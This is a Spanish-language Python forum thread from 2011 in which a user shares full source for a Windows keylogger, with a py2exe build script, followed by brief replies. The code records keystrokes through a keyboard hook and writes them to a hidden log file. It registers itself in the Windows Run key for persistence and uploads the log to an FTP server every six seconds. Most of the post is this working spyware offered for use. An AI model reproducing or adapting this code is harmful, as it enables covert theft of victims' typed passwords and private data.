Foros del Web » Programando para Internet » Python »

[Aporte] Keylogger

Estas en el tema de [Aporte] Keylogger en el foro de Python en Foros del Web. Buen dia , bueno buenas noches. Hoy traigo este Keylogger que estube desarrolando no se como lo tomen , talves algunas personas pienses que es ...
  #1 (permalink)  
Antiguo 22/08/2011, 20:57
Avatar de Lautaro_eb  
Fecha de Ingreso: mayo-2010
Ubicación: Bariloche, Argentina
Mensajes: 284
Antigüedad: 13 años, 11 meses
Puntos: 24
[Aporte] Keylogger

Buen dia , bueno buenas noches.
Hoy traigo este Keylogger que estube desarrolando no se como lo tomen , talves algunas personas pienses que es una mala idea pero bueno es la primera cosa que termino de desarollar en python.

El keylogger esta echo siguiendo varios ejemplos pero le dejo el codigo.
Talves no sea muy limpio y no tan bueno pero talves me puedan ayudar a corregir.

Incluye FTP y auto registro para el inicio de windows.

Tiene muchas depencias eso si.

Las dependecias sonCreo que esos son todos.

El Programa esta en echo en python26 porque venia istalado por defecto.
Esta echo en windows Seven Eclipse PyDev.

Keylogger.py
Código Python:
Ver original
  1. #Creado por @Y_mil(Twitter) o Lautaro_eb
  2. #No me ago cargo del mal uso de la aplicacion xD
  3. #Creditos Yo , y otras web que vi tantas que ni me acuerdo.
  4. #22/08/2011
  5.  
  6.  
  7. import pyHook,pythoncom
  8. import win32api,win32con
  9. import os
  10. import random
  11. import platform
  12. from threading import *
  13. from time import asctime
  14. from ftplib import FTP
  15.  
  16. num = random.randint(0,100)
  17. string = ""
  18.  
  19. #Obtenemos direccion de trabajo actual.
  20. dir = os.getcwd()
  21.  
  22. #Nombre donde de la aplicacion.
  23. arname = "keylogger.exe"
  24.  
  25. name = "%s\suport.log" % dir
  26.  
  27. #Configuracion del ftp
  28. user = ""
  29. password = ""
  30. host = ""
  31.  
  32. #Ruta donde se guardan los logs
  33. dirLogs = "D:\soport.log"
  34.  
  35. #Obtenemos el nombre del ordenador
  36. filename = platform.node()
  37.  
  38. try:
  39.     #Conectamos al FTP
  40.     con = FTP(host,user,password)
  41.     #Obtenemos nomnbre de archivo
  42.     archivo = "%s\%s" % (dir,arname)
  43.    
  44.     #direction = "cmd /c reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run /v WindowSoports /d %s /f" % (archivo)
  45.    
  46.     #Los registramos a regedit de windows
  47.    
  48.     keyp = _winreg.OpenKey( _winreg.HKEY_CURRENT_USER, 'Software\\Microsoft\Windows\\CurrentVersion\\Run',0, _winreg.KEY_SET_VALUE)
  49.    
  50.     _winreg.SetValueEx (keyp, 'Window Soporte', 0, _winreg.REG_SZ, archivo)
  51.    
  52.    
  53.     _winreg.CloseKey(keyp)
  54.    
  55.     #Ocultamos el archivo.
  56.     win32api.SetFileAttributes(dirLogs,win32con.FILE_ATTRIBUTE_HIDDEN)
  57.     #win32api.SetFileAttributes(dirLogs,win32con.FILE_ATTRIBUTE_HIDDEN)
  58. except:
  59.     #La exepcion no muestra nigna informacion valorable
  60.     print ""
  61.    
  62. def send():
  63.     """Esta funcion es la encarga de mandar el archivo al servidor FTP
  64.    Es llama cada 6 Segundos , no pasa nigun parametro."""
  65.     try:
  66.         #Obtenemos la direccion de archivo
  67.         archivo = "%s\%s" % (dir,name)
  68.         #Abrimos el archivo
  69.         file = open(dirLogs,"rb")
  70.         #Carpeta que se utilizara para guardar los archivos        
  71.         con.cwd("/public_html")
  72.         #Comando Ftp para subir el archivo        
  73.         nameFile = "STOR %s-%d.logs" % (filename,num)
  74.         con.storbinary(nameFile,file)
  75.         #Cerramos el archivo.
  76.         file.close()        
  77.     except:
  78.         print ""
  79.     time = Timer(6.0,send)
  80.     time.start()
  81. #Creamos un timer que llama cada 6 segundos a send
  82. time = Timer(6.0,send)
  83. time.start()
  84.  
  85. def savefile(text):
  86.     """Esta Funcion es la encargada de almasenar los datos en un archivo
  87.    Parametro text : String"""
  88.     #Obtenemos Fecha y hora
  89.     dt = asctime()
  90.    
  91.     #Generamos el string a guardar
  92.     string = "%s:%s \n" % (dt,text)
  93.     #Abrimos el archivo
  94.     file = open(dirLogs,"a")
  95.    
  96.     #Escribimos la informacion
  97.     file.write(string)
  98.     #Y Serramos el cursor
  99.     file.close()
  100.  
  101. string = ""
  102. def toma(frase):
  103.     """Funcion encargada de guardar las entradas del teclado"""
  104.     global string
  105.     string += " %s" % frase.Key
  106.     """Cuando hay mas de 5 letras o 5 este se guarda en el archivo"""
  107.     if len(string) >= 5:
  108.         savefile(string)
  109.         string = ""
  110.  
  111. def capturar():
  112.     """Funcion Encargada de capturas las entradas del teclado"""
  113.     nave = pyHook.HookManager()
  114.     nave.KeyDown = toma
  115.     nave.HookKeyboard()
  116.     #pythoncom.PumpMessages()
  117.     pythoncom.PumpMessages()
  118.  
  119. while 1:
  120.    
  121.     """Bucle infinito para obtener la campturas"""
  122.     capturar()
  123.  
  124. # The End
  125. try:
  126.     """Cerramos la conexion"""
  127.     con.quit()
  128. except:
  129.    
  130.     print ""

Setup.py

Código Python:
Ver original
  1. from distutils.core import setup
  2.  
  3. import py2exe
  4.  
  5. setup(windows=['keylogger.pyw'])

Bueno gente , talves no le sirva , talves piensen que es una estupides pero bueno.
Espero que le sirva y suerte.

PD: Recien Sacado del Horno.
__________________
Mi emprendimiento: Software BRC
Youtube: Tutoriales de programación y electrónica.

Última edición por razpeitia; 22/08/2011 a las 21:07 Razón: Titulo
  #2 (permalink)  
Antiguo 22/08/2011, 21:06
Avatar de razpeitia
Moderador
 
Fecha de Ingreso: marzo-2005
Ubicación: Monterrey, México
Mensajes: 7.321
Antigüedad: 19 años, 1 mes
Puntos: 1360
Respuesta: Keylogger

Talvez en lugar de empezar a hacer un keylogger desde 0 puedas apoyar a otro proyecto que ya existe como Simple Python Keylogger
  #3 (permalink)  
Antiguo 23/08/2011, 00:01
Avatar de cvander
Moderador
 
Fecha de Ingreso: abril-2001
Ubicación: Ciudadano del mundo
Mensajes: 13.638
Antigüedad: 23 años
Puntos: 1792
Respuesta: [Aporte] Keylogger

Es bueno retarse empezando proyectos desde cero. Me quedan dudas de la utilidad que le darás al experimento, pero es un buen reto en python.

Y como bien menciona @razpeitia, ahora valdría la pena poner el know how que ya tienes en algún proyecto arrancado para ver como apoyarlos y además promover tu código.

Gracias por compartirlo.
__________________
- Christian Van Der Henst
Platzi
  #4 (permalink)  
Antiguo 04/02/2012, 21:07
Avatar de mcun  
Fecha de Ingreso: octubre-2010
Ubicación: tras la pantalla
Mensajes: 466
Antigüedad: 13 años, 6 meses
Puntos: 55
Respuesta: [Aporte] Keylogger

se ve bien XD suerte que uso Linux :P

Etiquetas: keylogger
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta

SíEste tema le ha gustado a 2 personas




La zona horaria es GMT -6. Ahora son las 15:34.